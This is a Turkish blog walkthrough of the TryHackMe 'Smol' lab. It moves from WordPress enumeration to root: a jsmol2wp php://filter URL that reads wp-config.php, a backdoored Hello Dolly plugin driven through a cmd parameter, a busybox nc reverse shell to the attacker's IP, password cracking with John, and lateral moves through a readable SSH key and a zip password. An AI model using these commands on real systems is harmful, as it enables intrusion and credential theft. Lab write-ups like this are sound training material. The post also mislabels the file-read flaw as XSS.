smol

Esenlikler. Bugünkü yazımda, TryHackMe üzerinde bulunan Smol makinesinin çözümüyle ilgili raporumu sunacağım. Şimdiden keyifli okumalar dilerim.

Etik uyarı

Bu yazı eğitim amaçlı TryHackMe lab çıktıları temel alınarak hazırlanmıştır.

Giriş

Bu rapor, Smol makinesinde elde edilen WordPress oturumu (post‑auth) sonrası yapılan keşiflerin, değerlendirmelerin ve önerilerin yapılandırılmış bir özetini sunar. Amacım; hangi artefaktların hangi riskleri tetikleyebileceğini göstermek.

Makine ile ilgili bilgi vermem gerekirse, bir WordPress sitesine yönelik sızma testi yapacağız. Çünkü bir önceki yazımda edindiğim tecrübeye dayanarak, çözeceğim makineyle ilgili tanıtım açıklamasını daha dikkatli okumaya özen gösteriyorum. Bu makinenin açıklaması şu şekildedir:

At the heart of Smol is a WordPress website, a common target due to its extensive plugin ecosystem. The machine showcases a publicly known vulnerable plugin, highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.

Quick Tips: Do you know that on computers without GPU like the AttackBox, John The Ripper is faster than Hashcat?

Information Gathering

Service Enumeration

Hedef sistemle ilgili gerekli açıklamaya sahibiz; ancak yeterince bilgiye sahip değiliz. Bu nedenle bilgi toplama (information-gathering) aşamasında ilk olarak servis taraması yapacağız. Elimizde hedef makine belli olduğu için, hedef sistemin tespiti amacıyla ping taraması gibi bir uygulamaya ihtiyaç yok; yalnızca Nmap ile hedef sistemde çalışan servisleri tarayacağız.

sudo nmap -sV -sC -sS 10.10.201.114 -p-

Normalde bu tür bir taramayı tavsiye etmem; çünkü böyle bir tarama, hedef sistemde bir mavi takım üyesi bulunması hâlinde doğrudan tespit edilmenize ve makinenizin ("muhtemelen tespit etmek için uzun süre harcayacağınız") karantinaya alınmasına sebep olacaktır.

Ayrıca bu dostlarımdan yaptığım taramalarla ilgili olarak hangi parametreleri kullandığımı ve bu parametreler sayesinde kullandığım araçların ne gibi işlevleri olduğunu açıklamam yönünde tavsiyeler aldım. Bu sebeple tarama komutunu şöyle açıklayabilirim:

• -sV: Hedef sistemde çalışan servislerin uygulama ve sürüm bilgilerini elde etmeye yardımcı olur.
• -sC: Nmap içinde bulunan betikler (scripts) ile hedef sistem hakkında ek bilgi edinilmesini sağlar.
• -sS: SYN scan olarak adlandırılan tarama türüdür. Bu yöntemde TCP üç yönlü el sıkışma (three-way handshake) bayrakları kullanılarak hedef sistemde ilgili portun açık olup olmadığı anlaşılır. Özetle: gönderdiğimiz SYN paketine hedef SYN/ACK ile yanıt veriyorsa port açık; hedef RST gönderiyorsa bağlantı kurulmaz. Hedef kapalıysa RST/ACK bitleri gelir ve port kapalı kabul edilir. (Görselle açıklamam gerekirse: )
• -p-: Tüm portları taramak için kullanılır.

Çıktıdan görüldüğü üzere hedef sistemde 22 ve 80 numaralı portlar açıktır. Sürümleri ise OpenSSH 8.2p1 ve Apache HTTP Server 2.4.41 olarak görünmektedir.

Şimdiki işimiz, hedef sistemin sunduğu web sitesini ziyaret edip biraz kurcalamak. Ancak bundan önce, görselde görüleceği üzere sisteminizin yerel DNS listesine smol.thm adresini TryHackMe'nin size verdiği IP adresiyle eklemeniz gerekir.

sudo nano /etc/hosts

Web Enumeration

Hedef sistemin bize sunduğu web sitesini ziyaret ettiğimizde çok fazla bir şeyle karşılaşmıyoruz; bize birkaç bilgi dışında bir şey vermiyor gibi görünüyor.

Bu noktada hedef sistemle ilgili bir subpage taraması yapmak istiyorum; bunun için Gobuster aracını kullanacağım.

gobuster dir -u http://www.smol.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Wordpress Enumeration

Görüldüğü üzere hedef sistemde hâlihazırda WordPress ile ilgili çeşitli path'lere ulaştık; bu sebeple WPScan aracıyla hedef sistem üzerinde otomatik bir tarama gerçekleştireceğim.

wpscan --url http://www.smol.thm/

Ve en çok korktuğum başıma geldi: çok fazla çıktı.

Şimdi bu çıktıları teker teker açıklamaya çalışacağım. Ancak bir WordPress uzmanı olmadığım için açıklamalarımın temelinde, genel olarak internetten edindiğim bilgiler yer alacak.

Wordpress Version

Hedef sistemde görebileceğin üzere WordPress 6.7.1 sürümü kullanılıyor.

XML-RPC

Şimdi 'XML-RPC' nedir diye internette araştırma yapıyorum; çünkü görebileceğin gibi hedef sistemde etkinleştirilmiş.

WPScan’in bana verdiği Rapid7 ya da Codex bilgilerinden önce XML-RPC’nin ne olduğunu anlamam gerekiyor. Kinsta sitesinde de görebileceğiniz gibi:

“XML-RPC; WordPress ile diğer sistemler arasında iletişimi sağlayan bir spesifikasyondur. Bu iletişim, HTTP’yi aktarım mekanizması, XML’i ise kodlama mekanizması olarak kullanarak standartlaştırılmıştır.”

WP-Cron

Hedef sistemde WP-Cron’un etkinleştirildiği görülüyor.

twentytwentythree

Hedef sistemde “Twenty Twenty-Three” adlı bir tema kullanılıyor ve mevcut sürüm bilgisinin artık desteklenmediğini görebiliyoruz.

jsmol2wp

Hedef sistemde “jsmol2wp” adlı bir eklentinin bulunduğunu da görebiliyoruz.

Vulnerability Assessment

• 22/tcp: SSH servisi çalışıyor — OpenSSH 8.2p1.
• 80/tcp: HTTP servisi çalışıyor — Apache httpd 2.4.41.
• Hedef sistemde HTTP üzerinde WordPress çalışıyor; elde edilen bulgular:
  • WordPress sürümü: 6.7.1.
  • xmlrpc.php aktif.
  • WordPress update dizini erişilebilir; burada bazı dosyalar gözlemlenebiliyor.
  • wp-cron aktif.
  • Tema: twentytwentythree v1.2 (desteklenmeyen/eskimiş sürüm).
  • Eklenti: jsmol2wp v1.07.

Bu bilgileri kullanarak internette ilgili sürüm bilgilerine ait CVE listelerini inceliyorum. Yaptığım araştırma ve denemelerde jsmol2wp eklentisiyle ilişkili bir XSS açığına rastladım. İncelemek istersen SMOL JSMOL2WP CVE bağlantısını kullanabilirsin.

Bu açığın sağladığı şey şudur: jsmol2wp eklentisinin içindeki jsol.php sayfasında bulunan $query değişkeninin kontrol edilebilir olmasıdır. Bu sayede sayfa içinde XSS açığını istismar edebiliyoruz.

http://smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true &call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

Bu bağlantı üzerinden wp-config dosyasını görebiliyoruz. Peki, bu bize ne sağlar? Görebileceğin gibi, bu sayfada WordPress'e giriş yapmamıza olanak sağlayan bir kullanıcı bilgisi yer alıyor.

Ancak bu kullanıcı bir yönetici hesabı olmadığı için, giriş yaptığımızda maalesef şöyle bir sayfayla karşılaşıyoruz.

Ancak wp-admin sayfasına geçiş yapabiliyoruz.

Exploitation

Şimdi hedef sistemde ilk oturumumuzu elde ettik. WP dashboard’undan bir yöntemle hedef sisteme oturum açabilmek için keşif aşamasındayız.

Bu dashboard'ı karıştırmak biraz uzun sürdü ancak elde ettiğim bilgiler kısaca şunlar:

• Hedef sistemde RCE ile ilgili bir paylaşım yapmış Jose Mario ve Llado Marti adlı iki kullanıcı var; kullanıcı sayımı (user enumeration) aşamasında işimize yarayabilir.
• Aynı şekilde, bu iki kullanıcı SSRF ile ilgili bir paylaşımda bulunmuş.
• "wordpress user" adlı kullanıcıdan ise XSS ile ilgili bir paylaşım mevcut.
• Medya bölümünde herhangi bir dosya yok.
• Sayfalarda önemli bir bilgi elde ettik: bir todo sayfasına denk geldik ve içinde önemli bilgiler yer alıyor.
• Bunun dışında, yorumlarda veya profilde herhangi bir şey bulamadım.

Kullanıcıların paylaştıkları gönderilerde çok önemli bir bilgiye rastlamadım; yalnızca belirtilen yöntemlerle ilgili bilgi amaçlı birkaç şey yazmışlar. Ancak bizim açımızdan önemli olan, “todo” sayfası gibi görünüyor.

Peki neden böyle düşünüyorum? Bir ‘todo’ sayfasına denk gelmek, geliştiricilerin henüz yapmadıkları; ileride yapmayı planladıkları iyileştirmeleri ve eklemeleri görmemizi sağlar diye düşünüyorum.

Gibi...

Peki, burada ilk madde dikkatimi çekiyor. Kısaca, hedef sistemdeki bir kullanıcı diğer bir kullanıcıya—artık kim kime bu görevi atadıysa—“Hello Dolly” isimli bir eklentiyle alakalı şu bilgiyi vermiş:

“Check Backdoors: Verify the SOURCE CODE of ‘Hello Dolly’ plugin as the site’s code revision.”

Buradan anladığımız şey kısaca şu: “Hello Dolly” isimli eklentiyi geliştiricinin kontrol etmesi isteniyor. Peki, neden? Bunu anlayabilmek için bu eklentinin içine girmek istiyorum; ancak maalesef karşımıza koca bir boşluk çıkıyor. Bir şekilde bu sayfaya erişmem gerekiyor.

Bu noktada, jsmol2wp eklentisinde bulunan XSS zafiyeti bize yardımcı olabilir diye düşünerek aşağıdaki path’e gidiyorum:

http://smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php

Burada query parametresinde ulaşmak istediğiniz path’e dikkat etmelisiniz; çünkü bulunduğumuz konumun iki üst klasöründeki hello.php dosyasına erişebiliyoruz.

Bu noktada hello.php dosyasına erişmeyi başarıyoruz.

Şimdi, bu dosyaya erişmemiz gerektiğini doğrudan hashlenmiş bir base64 kodundan anlayabiliyorum.

Bunu çözdüğümüzde karşımıza bir if koşulu çıkıyor; ancak yine çözmemiz gereken kısımlar olduğunu görüyorum.

Kalan içeriği çözdüğümde ise

Peki, bu ne demek? Kısaca, Hello Dolly eklentisi bir adet cmd parametresi alıyor ve aldığı bu parametreyi çalıştırıyor. Bu sayede bu parametre ile bir komut belirten kullanıcı, hedef sistemde kod çalıştırabiliyor. Öncelikle bunu size göstermek; ardından da post-exploitation aşamasına geçmek istiyorum.

Burada yapacağımız işlem, hedef sistemde bir reverse shell oturumu açmaktır. Bunun için reverse-shell generator aracını kullanacağım.

Kısaca, index.php yoluna şu şekilde bir istek gönderdiğimizde:

http://www.smol.thm/wp-admin/index.php?cmd=busybox nc 10.8.22.197 9001 -e sh

Hedef sistemdeyiz.

Post-Exploitation

Bir sisteme sızdığımda yaptığım ilk işlemleri önceki yazılarımda defalarca yazmıştım. Basitçe söylemek gerekirse: sisteme sızdıktan sonra kullanıcıları ve grupları kontrol et, kullanıcıların neye erişebildiğini denetle, dosyaları incele, cron'u kontrol et, SUID biti olan dosyalar var mı diye bak ve benzeri adımları uygula.

Ancak öncelikle daha iyi bir terminale ihtiyacım var:

python3 -c "import pty;pty.spawn('/bin/bash')"

User Enumeration

cat /etc/passwd

Hedef sistemde xahi, diego, gege, ssm-user ve ubuntu kullanıcılarının tanımlı olduğunu görüyoruz.

Group Enumeration

cat /etc/groups

Aynı şekilde gruplara baktığımızda ise hedef sistemde xavi, diego, gege, dev, internal, ssm-user, netdev ve ubuntu gruplarının bulunduğunu görüyoruz.

File System Enumeration

Şimdi yaptığım şey hedef sistemi kurcalamak. Hedef sistemde tanımlı kullanıcıların home dizinlerine giremiyoruz; beklendiği üzere yalnızca ubuntu kullanıcısının home dizinine erişebiliyoruz; ancak onda da hiçbir şey görünmüyor. Bu noktada "iş başa düştü" diyerek tek tek her yeri kurcalamaya başlıyorum.

/opt dizininde bazı şeylere rastlıyoruz.

wp_backup.sql dosyasının kesinlikle aradığımız şey olduğuna eminim ama yazdırmaya başladığımda çok fazla çıktı alıyorum ve dürüst olmak gerekirse bu karmaşıklıkta bir şey bulmam imkansız. bu sebepler bir python http server başlatıp kendi cihazımda wp_backup.sql dosyasını kontrol edeceğim.

python3 -m htt.server

Bu sayede aradığımı daha rahat bulabiliyorum. Benim düşüncem, wp_users adlı bir tablonun olduğu ve kullanıcıların buraya eklendiği yönünde. Yaptığım bir aramada, içinde birçok kullanıcının bulunduğu ve şifrelerinin hashlenmiş olduğu bir tablo görüyorum.

Burada bulduğum her şeyi bir dosyaya kaydedeceğim ve hashlenmiş şifreleri çözmeye çalışacağım.

Privilege Escalation

Şimdi bu şifreyi çözmek için gerekli olan tek şey John the Ripper aracı; başka bir şey yapmama gerek yok.

john --wordlist=/usr/share/wordlists/rockyou.txt smol.txt

Bu biraz sürecek gibi...

Bu işlem sonrasında Diego ve Gege kullanıcılarının parolalarını bulabiliyoruz; ancak diğer kullanıcıların parolalarını bulamıyoruz.

Diego kullanıcısıyla oturum açtığımda, ilk aşama olan user.txt flag'ini buluyorum.

Diego kullanıcısı, normal olarak bana www-data kullanıcısından daha fazla yetki sağlıyor. Örneğin, artık diğer kullanıcıların home dizinlerine gidebiliyorum. Şimdi yeni bir oturum elde ettiğimize göre, hedef sistemde kullanıcı oturumu elde ettiğimde her zaman yaptığım işlemleri tekrar uygulayacağım.

Maalesef Diego kullanıcısı sudo grubunda değil; bu yüzden root yetkisiyle çalıştırabileceğimiz bir komut yok.

Diğer kullanıcıların dosyalarını karıştırırken ise Gege kullanıcısının home dizininde wordpress.old.zip dosyasına denk geliyorum.

Tabii, burada ezbere gittim; ancak maalesef dosya root tarafından açıldığı için Diego kullanıcısının çalıştırdığı HTTP sunucusu ile bu dosyayı indiremedim. Aman diyeyim: siz ezbere gitmeyin.

Cron'da da bir şey göremedim; maalesef yine karıştırarak bir şeyler bulmaya çalışacağız. Ama eminim ki bu old.zip dosyasına geri döneceğiz.

Think adlı kullanıcının home dizininde .ssh klasörünü görüyorum. İçine girdiğimde, klasörün tüm kullanıcılar tarafından okunabilir olduğunu ve bu sayede kendi sistemime bir Python HTTP sunucusu ile bu dosyayı aktarabileceğimi; böylece Think kullanıcısı olarak hesaba giriş yapabileceğimi görüyorum.

Burada garip bir şey keşfettim: think ve gege kullanıcıları, group enumeration kısmında görebileceğiniz gibi dev grubundalar. Normalde bir kullanıcıyla aynı grupta olmanız, aşağıda görebileceğiniz gibi su komutuyla parolasız başka bir kullanıcı hesabına geçmenize izin verilmesi için bir neden değildir; ancak burada işler farklı. Bu ipucu zaten beni düşündürüyordu ve bu yüzden gege kullanıcısına rastgele geçmeyi denedim.

Burada görebileceğiniz gibi Gege kullanıcısına geçtiğimize göre yapmamız gereken işlem, az önce erişemediğimiz wordpress.old.zip dosyasına geçmektir.

Burada bize Gege'nin bu ZIP dosyası için koyduğu parolayı soruyor. Bu şifre için çok deneme yaptım; ancak bulduğum, kullanmadığım bir parola vardı. John aracını kullandığımızda Gege için bir parola bulmuştuk; yine de Gege kullanıcısıyla SSH oturumu açamamıştık. Aradığımız şey tam olarak bu.

Doğru parolayla ZIP’i çıkardığımızda karşımıza WordPress’in dosyaları çıkıyor.

Buradaki dosyaları incelediğimizde, wp-config.php dosyası içinde xavi kullanıcısının parolasını görüyoruz.

Bu parola ile doğrudan Xavi kullanıcısına geçiş yapabiliyoruz. Ardından, yeniden bir kullanıcı oturumu aldığım için başlangıçta yaptığım işlemleri tekrarlıyorum. Zaten muhtemelen bu makinenin geliştiricileri bizi daha fazla yormak istememiş; çünkü görebileceğin gibi Xavi kullanıcısı istediği gibi sudo ile komut çalıştırabilme yetkisine sahip.

Bu da kısaca şu anlama geliyor: Xavi kullanıcısı üzerinden root yetkilerine erişebiliyoruz.

Bu da kısaca root.txt dosyasına da eriştiğimize göre bu sızma testini artık burada sonlandırabileceğimiz anlamına geliyor.

Teşekkürler

Yazımı buraya kadar okuduysanız gerçekten teşekkür ederim. Bir sonraki yazımda görüşmek üzere, kendinize iyi bakın. Esenlikler!